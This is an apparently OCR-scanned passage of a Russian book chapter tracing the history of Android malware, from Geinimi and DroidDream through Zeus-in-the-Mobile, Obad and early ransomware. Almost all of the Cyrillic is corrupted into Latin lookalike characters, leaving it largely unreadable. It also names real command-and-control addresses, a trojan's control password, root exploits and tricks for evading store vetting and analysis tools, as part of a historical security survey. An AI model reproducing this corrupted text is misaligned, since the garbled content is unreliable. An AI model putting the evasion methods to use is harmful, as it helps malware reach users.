cMapT(OH He Ul OMyCTOLIEHHs KOLIEIbKa )KEPTBbI, a Ul KpPakXH ero KOHQUIeHHAIb-
HbIX JaHHBIX. [locne ycTaHOBKM M 3aIlycka TPOsIH yXOIWi B (OH M mepechuiall Bce BXO-
pawme SMS Ha apyroii HoMep. B pesysbTate 310yMBILLIEHHHK MOT HE TOJIBKO 3aBaJETh
pa3IMYHOM KOHpUAEHUHMANIbHONH HWHpOpMauMeld Monb30BaTeNs, HO U ODOMTH CHUCTEMBI
AByX(akTOpHOH ayTeHTH(HUKALMK, KOTOpBIE A BXOJa TPEOYIOT He TOJNBKO JIOTHH M Ma-
pOJIb, HO H OJJHOPA30BBIN KO/, OTIPAB/IIEMbIi HA HOMEP MOOHIILHOTO TenedoHa.

HHTepecHo, yTo HOMep TeneoHa 30yMBILUIEHHHKA He ObUT XKECTKO BOUT B KOJ TPOSHA,
a koH(urypuposaiicsi yaaneHHo. Yto6sl ero U3MEHUTb, TpeOOBAIOCH OTIMPABUTH HAa HO-
Mep kepTBbl 0co0BIM 00pa3zoM odopmiieHHYI0 SMS, koTopas coaepkana HoMep Tenedo-
Ha U napoJs. [lapons MOXXHO OBINIO U3MEHUTH ¢ MOMOLBIO Apyroii SMS, mo yMoiauaHHiO
ucnosb3oBaach komOuHauus «red4lifer.

Geinimi u Bce-BCe-BCe

[lepBblii no-HacToseMy MpodecCHOHANBHO HAaMMCaHHBIA W OoOJIafaloMiA 3aIUTOH OT
aHanm3a BpenoHoc 11 Android 6b11 06Hapy>keH Tosbko B fekabpe 2010 roga komnaHu-
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eit Lookout. TposH, nonyurBwunii uMsa Geinimi, Ka4eCTBEHHO OTJIHYAJICS OT BCEro, YTO
ObLI0 HaNMCAHO paHee, U obJiaan CleyOIUMH YHUKaNbHBIMHA XapaKTePUCTHKAMH.

O PacnpoctpaneHue B coctaBe JierutuMHoro I10. B oTimume oT Bcex ocTalbHBIX 3J710-
BpEOB, KOTOpHIE TOJIbKO NPHKHIBIBAIMCH HACTOAUIMMH NpPOrpaMMaMHd M HWIpaMH,
Geinimi Ha caMOM Jiefie BHEJPAICS B pealbHO CYIIECTBYIOLIME Urphl. B pasHoe BpeMs
TposH ObUT HaiileH B COCTaBe TaKUX MpWIOKeHWi, kak Monkey Jump 2, President
Versus Aliens, City Defense and Baseball Superstars 2010, pas6pocaHHbIX 10 MecT-
HbIM MapkeTaM Kutas v pasnuuHbIM torrent-tpexepam. PyHKUMOHAIBHOCTb OPHIH-
HAJIHOTO TNPHJIOXKEHHS MOMHOCTBIO COXPAHANACh, MO3TOMY MOJIb30BaTelb AaXKE He
JI0rafIbIBaJICsl O 3apaXXEHHUH CMapT(OHa.

O /[lBoiiHas 3awuTa OT aHanu3a. Kox TposHa Obul mpomyuieH yepe3 o0¢yckaTop, YTo
3aTPYIHAJIO €ro aHAIM3, @ BCe KOMMYHHKALMU C YAAIEHHBIM CepBepoM LM poBaIHCh
(crpaBeyTMBOCTH pay CTOMT CKa3aTh, YTO UCMOJb30BaJICH ylepOHbIi anroputM DES
¢ kmo4oM 12345678).

O Bo03MOXHOCTb HCMONB30BaHUA I8 opraHusauuu OotHeta. B kome Geinimi Obu10
HaiinieHo Gonee 20 ympaBisOLIMX KOMaHJ, KOTOpble MO3BOJISUIA BBIMOJIHATH TaKHe
onepalyuH, Kak YCTaHOBKA W yJaleHHe NpHIoXKEeHWH (mpaBaa, Ha 3T0 TpeboBanoch
paspelleHHe MoJIb30BaTeNs), NOTyYeHHe CIIMCKA BCEX YCTaHOBJIEHHBIX MPOrpamM, 3a-
IMyCK NPHIOKEHUH U T. .

B uenom Geinimi aeficTBoBan no cneayoueMy anropurmy. [locine 3amycka 3apakeHHOro
NPWIOXKEHUS cOo3AaBaIcs (OHOBBIH CEpBHC, KOTOPbIH cOOUpal MepcoHaNbHbIE JAaHHbIE:
KoopauHaThl ycTpoicTBa, HoMepa IMEI u IMSI. 3arem ¢ uHTEepBanoM B OJHY MHHYTY
OCYLIECTBIISUTUCh TOMBITKM CBS3H C OAHUM M3 JECATH YIAJIEHHBIX CEPBEPOB (WWW.
widifu.com, www.udaore.com, www.frijd.com u apyrue), kyaa nepenaBanace Bcs co0-
paHHas HHopMaLHs U COOUPATHCh KOMAH/IBI IS YJAJIEHHOTO UCTIOJIHEHHUSL.

Geinimi — poAoHaYalIbHUK NMOJHOQYHKUHOHAIBHBIX TPOsiHOB 11 Android, U nocne ero
nepBoro oOHapy>eHHus Ha npoctopax MHTepHeTa cTanu Bce yalle NosBAATHCS 3MOBPEIbl
C aHIOTMYHOM WM noXxoxed (QyHKUHOHaNBHOCTHIO. Bekope Obula HaiineHa Moauduka-
uus Geinimi nog HazBaHueM ADRD, tposH Android.Pjapps u MHOXecTBO apyrux. Bee
OHH pacnpOCTPAHIUCH Yepe3 pa3IHyHbIe CAWTHI, torrent-Tpekepbl, KUTaHCKHe HEODHLIU-
aJIbHble Mara3svHbl, MO3TOMY 3aLIMTHTBCS OT HUX MOXKHO OBLIO NPOCTO HE YCTaHABJIMBas
MPUIOXKEHUS U3 HEU3BECTHBIX MCTOYHHUKOB. OHAKO BCE W3MEHWJIOCH, Koraa Obin oOHa-
pyxeH TposiH DroidDream, pacnpocTpansBiuuiics B coctaBe 6osiee ueM 50 npuiioxxeHuH,
ommy6IMKOBaHHBIX B odpuumansHoM Android Market.

DroidDream
U Hayano 60pb6bI 3a YUCTOTY Mapketa

B mapte 2011 roga mons3oBarens Lompolo omyGnukoBan Ha Reddit uHpopmaimo 06
obHapyxeHun B Mapkere Android HECKOJBKMX JECATKOB BPEAOHOCHBIX MPHIOKECHHH,
oIy 6JIMKOBaHHBIX pa3paboTYHKOM ¢ HUKOM Myournet. HecMoTpsa Ha 3aypsHOCTL camo-
ro TposiHa, a TaKkKe Y>Ke U3BECTHBIH Cocod ero pacnpocTpaHeHMs, OCHOBaHHbI Ha BHe-
JPEHUH KoJa B JIETHTUMHOE MPUIOXKEHHE, PaKT HATWYHSA MalIBapd B 0pULHANbHOM Map-
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kere Google, a Takke NPEANONONKEHHA O TOM, YTO OHAa HCHOJB3YeT OKCIUIOWT
RageAgainsTheCage nns nomydyeHus npaB root Ha YCTpo#cTBe, OBICTPO NMOAOTPENH HH-
Tepec K HOBOCTH MMOJb30BATENIEH U COTPYAHUKOB Pa3IHYHBIX CEKbIOPMTH-KOMMNAaHHH. 3a
HECKOJIBKO JHEH HadaJlbHbIH CMMCOK M3 ABYX JAECATKOB MPWIOXKEHUH pacuiMpuics 1o 56,
a cpeau myOnMKOBaBUIMX ero Juoaed (WM O0ToB, KTO 3HaeT) oOHapyxwiuck King-
mall2010 1 we20090202.

Cam no cebe DroidDream no ¢yHKUHOHAIBHOCTH OBUT OYEHBb MOXOXK Ha Geinimi, HO He
ABnssICA ero Bapuauven. OH Taxke cobupan MHGopMaLMIo 0 cMapTdoHe, OTHpaBIAN ee
Ha ynaneHHbld cepsep (http://184.105.245.17:8080/GMServer/GMServlet) u nonyuan
B OTBET ymnpasisiolue komanasl. [lmoc ko BceMy OH conepka B cebe Apyroe npioxe-
HHE, CIIPATAHHOE B KaTAJIOre assets/sqlite.db BHYTpH apk M ycTaHaBIHBaeMoe B CHCTEMY
noa HUME€HEM DownloadProvidersManager .apk.

B cymMe 3apaxkeHHBIE IPWIOXKEHHA ycnenu ycTaHoBuTh oT 50 000 xo 200 000 nons3oBa-
Teel, noka koMaHaa G6ezonacHocti Google He oTpearrpoBaia Ha COOOLIEHUE U HE yaa-
JIM1a U3 MapKeTa Bce HaiiJleHHble KOIMHU 3/10BpeJa BMECTE C aKKayHTaMH BbUIOXKHBIIHX
HX mosb3oBaTeneii. B mononHeHue B MapkeTe Takke MOSBWIOCH mpwioxeHde Android
Market Security Tool, ¢ nomolpi0 KOTOPOro MoabE30BaTENb MOI OYHCTHTH CMApTHOH OT
3apa3bl. Ho u 31eck He obomutock 6e3 koHpy3a. BykBanpHO yepes aBa IHA Mocie 3TOro
Symantec o6Hapyxwuna Ha mpoctopax HMHTepHeTa 3apaXK€HHYIO BEPCHIO 3TOrO MpPHIIO-
KEHHs, KoTopasd colepxkaia B ceGe yxe Apyrod TpOsSH, Ha3BaHHBIH BIIOC/IENCTBHH
Fake 10086 3a Bei6opouHy1o 6;10kHpoBKY SMS-coobienuit ¢ Homepa 10086.

®akT npoHUKHOBEeHUs ManBapH B Android Market (a mocne DroidDream B MapkeTte 6b110
oOHapy»XeHO elle HecKONIBbKO 3/I0BpenoB) 3acTaBun Google cepbe3HO 3amyMaThes Haj
6€30MacHOCTBIO CBOETO PENO3UTOPHUS MPUJIOKEHHH. A MOCKOJIBKY BPYYHYIO OHH HUYEro
JenaTh He MPHUBBIKIH, TO B Havane 2012 roga BeikaTiiIM cepBUC Bouncer, koTopslii mpo-
BEpsJ MPHIOKEHUA Ha 6€30MacHOCT C MOMOILBIO 3aMyCKa B BUPTyalbHOH MaluMHe. 3a-
na4da Bouncer cocTosia B TOM, YTOOBI NPOM3BOAUTH MHOTOKPATHBIH 3aITyCK NMPUJIOKEHHS,
CHUMYJTHpOBaTh paboTy NOJMB30BaTENA ¢ HUM H aHAIM3HPOBAaTh COCTOSHHE CHCTEMBI 10 U
nociie pabotsl ¢ 3Toi nporpamMoii. Eciiu HUKakMX CTpaHHBIX M MOAO3PUTENbHBIX AEHCT-
BHii mpuioxeHHe cebe He MO3BOJATIO, TO OHO NMOJYYANO 3€JIE€HBIA CBET, B MPOTHBHOM
ciryyae my6nukaius 6;10KkHpoBanach.

Ecnu Beputs Google, To cpa3y mocne 3amycka Bouncer koprnopaums cokpaTHia Koiauye-
CTBO BpeJOHOCOB B MapkeTe Ha 40% (kak OHHM 3TO NMOJCYMTANIH, OCTaeTcs 3araakoi). On-
HaKO Mo3JHee BBIACHWIOCH, YTO HOBBIH MEXaHHU3M MPOBEPKU MOXKHO JIerko 06OMTH, Npo-
CTO MPOAHAIU3UPOBAB HEKOTOPHIE XapaKTEePHUCTHKH CHCTEMBI, TaKHe KaK MpHUHAJIexa-
mue BupTyankaMm Google email-anpec Bnamensia «cMaprdoHa», Bepcuro OC u T. 1.,
a 3aTeM co3JaTh NMPWIOKeHHe, KOTOPOe MPH MX oOHapy>keHUH OynaeT aeiicTBoBaTh abco-
JIIOTHO 3aKOHHO M JIeNaTh IPA3HYIO0 pabOTy TOJIBKO Ha HACTOAILEM CMapTQOHe.

Zeus-in-the-Mobile

B 2007 rogy no koMmeroTepaM MoJb30BaTeNeil Hayal cBoe No6eJOHOCHOE IEeCTBHE TPO-
sH Zeus. bnarogaps u3olpeHHOMY AM3aiiHY W MPOJBUHYTHIM TEXHHKAM MAaCKHPOBKH,
JeaBLIMM ero oOHapy)keHHe HEBEPOATHO TPYIHOM 3aJayuei, OH CMOT pacpOCTPaHUTHCA
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Ha MIWIJIMOHBI YCTPOMCTB 10 BCEMY MHPY M CO3[1aTb OJMH W3 CaMbIX KPYMHbIX OOTHETOB
B uctopuH. Tonbko B CLIA 6s110 3adukcHpoBaHo Gosiee Tpex ¢ NOJIOBUHON MUJUTHOHOB
($aKTOB 3apaXKeHUS.

OcHoBHas 3afada Zeus cOCTOs]1a B OpraHM3allMM aTakd Tuna Man-in-the-browser, T. e.
HCIOJIb30BaHHE TEXHUK KEHIOrruHra u ¢opMrpab0OuHra ans nepexsaTa 4acTHOH NONb30-
BaTeNbCKOH MHPOPMALIMM U ee OTMPaBKH Ha YAasleHHble cepBepa. 3a BpeMms cBoei pabo-
Thl Zeus CMOr YTalllMTb COTHM THICAY JIOTHHOB W Mapojied OT TakuX CEpBMCOB, Kak
Facebook, Yahoo, Hi5, Metroflog, Sonico, Netlog 1, koHeUHO ke, MHOXECTBA OHJaiiH-
6aHKOB.

PaszpaboTumk Zeus GbICTpo OTpearMpoBasl Ha NOSABJIIEHHE CUCTEM ABYX(aKTOPHOH ayTeH-
THpHkaumu 1 B 2010 roay BeimycTUn npuioxkeHus ans Symbian u Blackberry, 3anaua
KOTOpBIX cOCTOsaa B nepexBate SMS-coollueHuil ¢ 0AHOPa3oBbIMK KOJAaMKU aBTOpHU3a-
LUMH M UX MOCJeaylolle oTnpaBkoW Ha BCe Te ke yJAaleHHble cepBepa. B cepeanne
2012 rona aHaOrMYHOE NPUIIOKEHHE NOsBUIIOCH U U1 Android.

IlepBas Bepcus Zeus ans Android Oblla MpUMHUTHMBHA M MpeacTaBasia coOoi sKoObl
CEKbIOPHTH-TIPUJIOXKEHHE, KOTOPOE MpPH 3ayCKe BBIBOAMT KOJ BEpUPHKALMH U 3aKpbIBa-
ercs. B pesynpTate B oHEe MOBUCAET CEpBUCHBIN MpOLIECC, KOTOPbIi 3aHMMaeTcs nepe-
xBaToM SMS-coobuieHuii U UX OTNpaBKOM Ha ynaneHHbl cepsep (puc. 12.1). Tlocne-
ayroiiue Bepcud Zeus ans Android (puc. 12.2) o63aBendch Takxke CUCTEMOI ylaleHHOro
yrnpaBieHUs ¢ noMoLubo SMS ¢ onpeneneHHOro Homepa, OAHaKO HUKAKUX NPOJABUHYThIX

Puc. 12.1. Tak sbirnsgen uHtepgenc Puc. 12.2. A Tak BbiIrnagena Bepcus,
nepsown o6HapyxeHHoW Bepcun Zeus obHapyxeHHas cnycTs 10 mecsues
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MPHEMOB MaCKHPOBKH WIH paclpoCTpPaHEHUs BHUPYC HE MCIIOJIb30Bal U B 3TOT pa3. Mo-
6mwipHas Bepcus Zeus cMoria Hazaenate MHoro myma B CMH, Ho, Kak MOXHO BHIETH,
TPOSH OB CHJIBHO NEPEOLICHEH.

TMepsuris IRC-60T

B cepenune anpaps 2012 roaa corpyanuku Jlaboparopuu Kacnepckoro coobumnu 06
obHapyxeHHH nepBoro B uctopud Android IRC-6ota. TlpunoxeHue pacrnpocTpaHsioch
B BHJE ycTaHOBouHOro ¢aitna APK pasmepoM uyte Gonbiie 5 M6 u BbigaBaio ce6s 3a
urpy MADDEN NFL 12. UHTepecHbIM OTIIHYHEM 3TOr0 TPOSHA OT APYTHX ObLIO TO, UTO,
0 CYTH, BCS €ro JIOrHKa paboThl ObL1a 3alUll0YeHa B HATUBHBIX MPUIOKEHUAX s aapa
Linux, KOTOpble HUKaK He CBETWIHUCh B OKHE CTaHAApTHOro AMcrieTdepa 3amay Android,
M K TOMY K€ UCTIOJIb30BAJIH JIOKAITBHBIN SKCIUIOAT AMs MOTyYeHHs Npas root.

Bo Bpems 3amycka NpWIOXKEHHE CO3/aBajl0 KATajor /data/data/com.android.bot/files,
B KOTOpOM pa3Meliajio Tpu cbaifma: header01.png, footer0l.png, border0l.png, a 3aTEM CTa-
BWIO Ha HUX OMT HCNOJIHEHHS M 3amycKalio mnepBblii (ail. DTo ObLT IKCIUIOHT
Gingerbreak, ¢ MOMOIIBIO KOTOPOro MPOUCXOIUIIO MOJMyHYeHHe MpaB root Ha YCTPOHCTBE.
Ecnu 6bl1a ycTaHOBNIEHA yXke pyTOBaHHas MPOLUMBKA, MPUJIOKEHHE MBITAIOCH MOJYYHTD
MpaBa root ITaTHBIMU CPEICTBaMH, B pe3yJIbTaTe Yero Mnojb30BaTeN0 JEMOHCTPHPOBAJI-
A 3anpoc Ha MPEAOCTaBJICHUE MOBBIIIEHHBIX NPUBWIETHH (TOT ciyyaid, Korga pyToBaH-
HbIi cMapT¢oH Ge30nmacHee HEPYTOBAHHOIO).

B ciyuae ycnewmHoro nomy4eHus npae root Jo6bIM U3 OBYX Cioco0OB 3aIycKalics BTO-
poit ¢aitn, B koTropoM XpaHuwics SMS-TposH, ABnstomMiics MoaupHUKalueil H3BECTHOrO
TtposiHa Foncy SMS. TposH onpeaensan crpaHy Boimycka SIM-kapThl 1 HaUMHaN OTIpaB-
Ky COOOILEHHI Ha KPOTKHUH TUIaTHBIA HOMep, G10KHpYs Bce OTBeTHBIE coobienus. Che-
AYIOIIMM 3ammyckaics ¢ail border0l.png, B koTopoM pacnonaraics koa IRC-6ora. On
noanoyancs k IRC-cepsepy M percTpupoBajics Ha KaHalle #andros MOJ CJy4YalHbIM
HUKOM. Bce coobuieHns, otnpapiaeHHble 60Ty, BBINOIHAIUCH B KOHCONH KakK OObIUHbIE
Linux-koMaHJsl.

CornacHo 3asBiieHHIo coTpyaHukoB Jlaboparopun Kacnepckoro, 3To 6610 NiepBOe MpH-
JIoXKeHHe Takoro kiacca as Android. OHako, Mo MX MHEHHMIO, OMACHOCTh €ro Oblia He-
BEJIMKA, T. K. PaCIIPOCTPAHSUICS OH TOJIBKO Yepe3 «Cephle» MapKeThl, a IKCIUIONT paboTan
JIMIIB B paHHUX Bepcusax Android 2.3.

TTepsbii4A NONUMOPEPHLIA TPOAH

B ¢eBpane 2012 roga kommnanus Symantec coobuiuna o NosiBIeHUH MEPBOro NOIUMOpd-
HOro TposiHa 1is mwiatgopMel Android, KOTOpBIHf B MOMEHT CBOEro 0OHapy>keHHsA He MOT
ObITh HalileH HY OTHUM MOOWIBHBIM aHTHBHpYCcOM. TposiH, Ha3BaHHbIH Android.Opfake,
pacnpoCTpaHAICA uYepe3 pa3jiuHble BeO-calThl, HAXOAUBUIMECS NMPEHMMYILECTBEHHO Ha
tepputopul Poccun u crpan CHI', B Buae GecruiaTHOM BepcHHM MOMYNSPHOTO MpHIIOXKe-
HHS WJIH UTPBI.
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[MonuMopdHEIM OH 6BUT TONBKO YCIOBHO, T. K. H3MEHEHHE TPOSHA MPOMCXOIWIO Ha CTO-
poHe cepBepa. [Ipu kaxao#i HoBo# 3arpyske Qaiina conepkumoe aiina APK u3mens-
JI0Ch C MOMOILBIO Pa3THYHBIX METOJOB, KOTOpBIE BKJIIOYAIH B cebs Moaudukauuio daii-
NOB JAHHBIX, BKIIOYEHHE B MAKET NMPHIOKEHHS «MYCOPHBIX (aityioBy, a Takoke H3MEHe-
HHe uMeH daiinos (puc. 12.3).

Puc. 12.3. Paanuuns B KOHTPONbHBLIX CymMax aiknoB nakeTa C TPOSHOM,
CKauaHHbIX B pa3Hoe BpeMs

IMocne nonamaHMs Ha cMapTGOH XKEPTBHI W 3alycka TpOSH H3BJeKal M3 (aiiia
res/raw/data.db (KOTOpPBIH CyLIECTBOBal B JIIOOOH BEPCHM TPOsSHA) CIHCOK OMNEpPaTOpOB
CBA3U U IUIATHBIX KOPOTKUX HOMEPOB, M0CJI€ Yero HauuHal oTnpasky SMS-cooliieHu#.
B nmononueHue TposAH OTKphiBan B Opaysepe Be6G-CTpaHMILy, COAEpXKalllyl0 CChUIKH Ha
apyroe BpenoHocHoe I1O. HurepechHo, uto SMS-cooliieHHs Takoke M3MEHAIMCh MPH
KaKA0H HOBOH MyTaLMM TPOSHA, YTO MPHBOAWIO K HEBO3MOXKHOCTH OJIOKUpOBaHHS OI-
peZeNeHHBIX THIOB COOOLIEHHUH Ha CTOPOHE orepaTopa.

Bupyc-marpewxa

Heneneit pansine, a umeHHo 1 ¢espans 2012 roga, corpynuuk Jlaboparopuu Kacnep-
ckoro Buxrop Yebymes omy6nukoBan Ha caiite securelist.com 3aMeTKy, MOCBALIEHHYIO
HOBOMY TpOsiHY, pacnpocTpaHseMoMy 4epe3 marasuH Google Play. BpenoHoc mackupo-
BaJics moj npuioxeHue Superclean, cnocobHoe, Mo cinoBaM pa3pabOTYHKOB, OYHCTHTH
NaMATh YCTPOMCTBA M, TAKHM 0Opa3oM, MOJHATH NMPOU3BOAMTEILHOCTE CMAapTHOHA WIH
raHuwiera. Ha Totr MoMmeHT mpuioxkeHue umeno yxe ot 1000 go 5000 ycraHoBok u
_ Xopouiui peATHHr B 4,5 3Be3/ibl (puc. 12.4).
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Puc. 12.4. Ctpanuua npunoxexus Superclean 8 GooglePlay

Kak BbisicHun0Cch, Superclean neAcTBUTENLHO BHIMOMHAT OYMCTKY NMAMSTH, HO JeNall 3TO
MPOCTBIM MeEpe3anyckoM BceX (POHOBBIX MPUIOKEHUH C MOMOLIBIO BCErO S CTPOK Ha A3bI-
ke Java. Ha 3Tol «cloxHOIH» 3aiaue nosie3Hoe AelcTBUE MPUTOKEHHUS 3aKaHYHMBAIOCH,
a caMoe MUHTEepecCHOe HayMHAIOCh Janbllie. AHATU3UPYsS Ko, coTpyaHUk JlaGoparopuu
Kacnepckoro obHapyxui, 4to npu 3anycke NMPUIOKEHHE COEOUHAIOCh C YAaleHHBIM
CEpBEpPOM M 3arpy>kajgo Ha KapTy naMsaTH Tpu Qaiina: autorun.inf, folder.ico H
svchosts.exe.

IlepBoie aBa aBTOMaTHYeckd npeBpatuanu noawnodaemsid kK USB-nopry [1K cMaptdoH
B caMo3arpyxaemyio Quielliky, ¢ KOTOPOH NMPOMUCXOAWSI aBTOMAaTHUYeCKUH 3amyck ¢aiina
svchosts.exe. CaM svchost.exe Ha MPOBEPKY oka3ascs 63xaopom Backdoor.MSIL.Ssucl.a,
KOTOpbIH cilyliaeT MUKpO(OH KOMMbIOTEpAa U OTMPABISAET BCE MOJNyYEHHbIE C €ro Mo-
MOILLBIO JaHHbIE Ha yAaJIeHHBIH cepBep.

Kpome BiuttoueHus B cebs apyroro BpeaoHocHoro I10, ornuuurensHol 4yepToil TposHa
ObLT caMbli BHYLUMTEIbHBIN Ha TOT MOMEHT Habop ¢yHkuui. Ilo koMaHae ot onepatopa
OH MOr OTHpaBiATh coobuieHHs Ge3 BeaoMa MOJb30BaTENs, BKIOYATh W BBIKIOYATh
Wi-Fi, cobupares uHdopMaumio o0 ycTpoHcTBe, OTKpbIBaTb NPOW3BOJIbHBIE CCBHUIKH
B Opay3epe, OTNpaBasTh Ha yAaleHHbli cepBep conepxkumoe SD-kapTel, SMS-nepenucky
Y BBINIOJIHATb MHOTHE OPYyTHe JeHCTBHUA.

K koHuy 2012 roama curyauus co 3noBpeaamu s Android cTtana HacTonbko HakaseH-
HOoH, uto Google pewnna MoiTH Ha ouyepeaHoil kapauHalbHbIA wWwar. B ceHTs0pe 6e3
JMUIHEeH ornacku ObUT MPUOOPETEH CepBUC OHJIAHH-TIPOBEPKH NMPUIIOKEHUI Ha BHPYCHI
VirusTotal, a 29 okTs6ps — BeimyweHa Bepcust Android 4.2, onHo#H U3 HOBLIECTB KOTO-
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poii cTana aBToMaTH4Yeckas MpoBepka Joboro ycraHaBiauBaeMoro He yepe3 Google Play
NPWIOKEHHUA Ha BHPYCHI Yepe3 yAaleHHbIH CEpBHC (CErOaHA 3TOT CEPBUC HU3BECTEH NOJ
uMeHeM Google Play Protect).

TpynHo cka3ats, ucnonp3oBaia 1 Google kyrutennsiid VirusTotal qns stoii 3anaum, nu-
60 y KopropauMu ecTb COOCTBEHHBIH CEpBHC NMPOBEPKH, OAHAKO HE HYXKHO ObITH pabort-
HukoM Google, uto6s! noHaTs: VirusTotal Tak WK MHaYe OBUT UCNIONIB30BAH 1S 3aLLMTHI
Android ot BpenonocHoro I1O.

HeiicTBUTENbHO NPOABUHYTLIU TPOAH

B urone 2013 ropa cotpyanuku Jlaboparopuu Kacnepckoro oOHapyxkwnu Haubonee
CJIOXHBIH U NPOABUHYTHIH B TEXHUYECKOM IUIaHe TposH A1 Android u3 Beex, 4To BeTpe-
YaJIuch 10 3Toro MomeHTa. TposH nonyuwn ums Backdoor.AndroidOS.Obad.a. 3to 65110
He3aBUCUMOE MPHIIOXKEHUE, HE BHEPIEMOE B JIESTUTUMHBIE COPT U, CyAs MO BCEMY, pac-
NPOCTpaHAEMOE MOJ BUAOM KaKUX-THOO U3BECTHBIX MPHIOKEHHH.

[Mocne cornameHus Mosib30BaTeNs ¢ AJIHHHBIM CITMCKOM IMOJTHOMOYMMH, YCTaHOBKH H 3a-
IMycKa TpOSH 3aMpallvBajl paBa aJMHHHCTpaToOpa YCTpoiCTBa (peyb MOET He O root, a
0 cobcTBeHHO# cucteMe OezonacHocTH Android, Mo3BoNAIONIEH BHIMOIHATE HEKOTOPHIE
onacHble omnepauuy, puc. 12.5). 3Ti npaBa ObUTH HY)KHBI BPEIOHOCY TOJIBKO Ul IBYX
BeLeH: CaMOCTOATENbHON ONOKHMPOBKM 3KpaHa M 3auwMThl OoT ynaneHus. IlociaenHioro
BO3MOXKHOCTb TPOSIH MCNOJIBb30Ba7l 0COOEHHO M3bICkaHHO. C MOMOILBIO paHee HEeU3BECT-
Horo 6ara B Android oH yaansn ceds U3 cnMcka NPWIOXKEHUH ¢ MONTHOMOYHAMH aJIMUHH-
CTpaTopa, U3-3a Yero ero HEBO3MOXKHO OBLIO JIMIIMThL 3THUX NMpaB H, Kak CIEICTBHE, yaa-
JIUTh.

Jlanee TposH NpOBepsAJ HaIM4ME MpaB root M MpH CIETYIOLIEM MOAKTIOYEHHH K CETH
Wi-Fi ornpaensan mHpopMaumio o6 ycrtpoiicTBe Ha ynaneHHbld cepBep. Hdopmauus
Obl1a TUMHYHOM VIS TAaKOro poAa MPWIOKEHHH M colepkaia B cebe HoMep TenedoHa,
IMEI, MAC-aapeca 1 uHble MogoOHble CBeleHHA. B OTBET BpeJOHOC MOMTy4ala CIHCOK
KOMaHJ M 3aHOCHJ UX B 6a3y JaHHBIX C NMOMETKOH O BPEMEHH M IMOC/IE0BATEIbHOCTH
ucnonHeHus. Cpenu Takux KoMaHa ObuiM mpoBepka OanaHca, OTnpaBKa COOOIIEHMH,
nepexo] B peXXMM NPOKCHPOBaHMA TpapHKa, CKaUMBaHUE M YCTAaHOBKA MPHIOKEHHUH, OT-
npaeka ¢aioB no Bluetooth, oTkpeiTue memna u 1. A. [Ipn KaxaoM NOAKTIOYEHHH
K ApyroMy yctpoicTBy no Bluetooth TposH konupoBa caM cebs Ha 3TO yCTpOHCTBO.

ITpu nonbiTKe aHaIN3a KOJIa TPOsSHa O6GHAPYXKHIIOCh MCTOIb30BAHHE MHOXKECTBA TEXHHK
3alMThl U AHTHOTNAAKH. Bo-mepBeIX, BpeIOHOC MCMONB30BaJl HEM3BECTHBIA paHee Oar
B yTHiHTe dex2jar, U3-3a KOTOPOro JeKOMIWIALMUA KOJa BpeIOHOCHOH MpOrpaMMsl Mpo-
HCXOOMW/Ia HEKOPPEKTHO. BO-BTOpBIX, TPOSH HCMONB30BAJ €Ille OAMH HEU3BECTHBIH Oar
B Android, KoTOpBIi MO3BOMAN CO34aTh MPOTHBOpPEYALIMI CTaHAApTaM (aiit Manifest . xml
(B KOTOpPOM conepxHTca MeTauHGopMaLMs O NMPWIOKEHHH). DTOT (ain KoppekTHO 00-
pabaTbIBajics B MpoLiecce YCTAHOBKH MPWIOXKEHUS, HO 3aTPYAHAN paboTy HHCTPYMEHTOB
aHaJu3a.

PeBepcepy, KoTOpoMy yAaBanoch pacrakoBaTh M AEKOMITWIHPOBATH KO TPOsHA, 060
3TH OTpaHHYEHHUs, MPUXOAWIOCh UMETh J€JI0 C MHOTOYpOBHEBOH cHcTeMOi mudpoBa-
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Husa. OHa 3allMIlaga OT aHaJIM3a BCe TEKCTOBbIC JaHHbIE, a TAIOKE UMEHAa METOA0B (OHH
ToXKe OBUIM CTPOKaMHM M BbI3bIBAIUCH NocpeactBoM peduekcun). UHTepecHo, 4to kito-
YoM [UIs MepBOro cjos WMppoBaHMUA SBIAIACHE CTpPOKAa C [JIABHOM CTpaHHLbI
facebook.com, 13-3a yero paboTy TpossHa HEBO3MOXKHO OBUIO MPOAHAIM3UPOBATH B «CTE-
pUIBHOH KOMHaTe», 0e3 moawmoueHus k HMHrepHeTy (XOTs orpaHuyeHue, KOHEYHO,
MOXHO OOOHTH C MOMOILBIO MPOKCH).

Puc. 12.5. Backdoor AndroidOS Obad a TpebyeT MHOXeCTBO NONHOMOYMIA ANs paboTbl
1 3anpalumMBaeT nNpaBa ajMUHUCTpaTopa

Ransomware

B mae 2014 roga Obin 0OHapyxeH nepBblil WHGPOBAILIIKMK (MMEHHO WH(PPOBATbLIMK,
a He Jyokep) s Android. OH nomyyun wums Simple Locker (ANDROIDOS
SIMPLOCK.AXM), T. k. Bca ero pabora 3aKioyanack TOJIBKO B WIMGpOBaHUU daiinos
Ha KapTe NaMATH C Ucrosb3oBaHueM craHaaptHoro APl Android.

Cerogns mmdpoBanbiiukoB ans Android macca. CorjlacHO McCCleqOBaHUIO KOMITaHHU
Trend Micro (http://blog.trendmicro.com/trendlabs-security-intelligence/android-
mobile-ransomware-evolution/), Tonbko B nepsoi nonosune 2017 roxa 6b110 0OHapy-
skeHo Gonee 235 000 HOBBIX 06pa3iioB ransomware. To ke vcciaenoBaHUe cOOOIIAET, YTO
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0ONBLIMHCTBO WHGPOBANBIIMKOB Ucnonb3yloT MMena Adobe Flash Player, Video Player
M Ha3BaHUA MOMYNAPHBIX Urp. MHOTHE M3 HUX TakXke MPUMEHSIOT UMS MaKeTa, MoxXoxee
Ha MMeHa NakeToB BCTPOEHHbIX B Android NpHIOKEeHHIA: MOYTOBOro KIIHEHTa, KajleHaAaps
u Opay3epa.

Yaiwe Bcero mndpoBanbUIMKU HCnonb3yloT anroput™ AES, a kmod xpaHat nubo B Ha-
CTpoiikax MpHJIOKEHHs (TaK MOCTyNajad B OCHOBHOM pPaHHHE BEPCHH), TMOO Ha cepBepe.
Hns ceazu ¢ C&C-cepBepoM npuMeHsIOTCA, Kak npaBuno, npotokonst HTTPS, TOR
U XMPP. Hepenko B kauecTBe BcioMoraTefbHOro cpeacTsa 3apaborka co3garend mud-
POBATBLIMKOB BCTPAMBAIOT B HUX CpPeACTBa OTNpaBkd SMS M ocylliecTBlIeHUs 3BOHKOB
Ha mnatHble Homepa. Hepeaxo mmndpoBanblUMKi MojyyaroT npasa aIMUHUCTPATOpa Ha
YCTPOMCTBE, HO TOJILKO [U1s TOTO, YTOOBI 3aTPYAHUTH CBOE yIAJIEHHE.

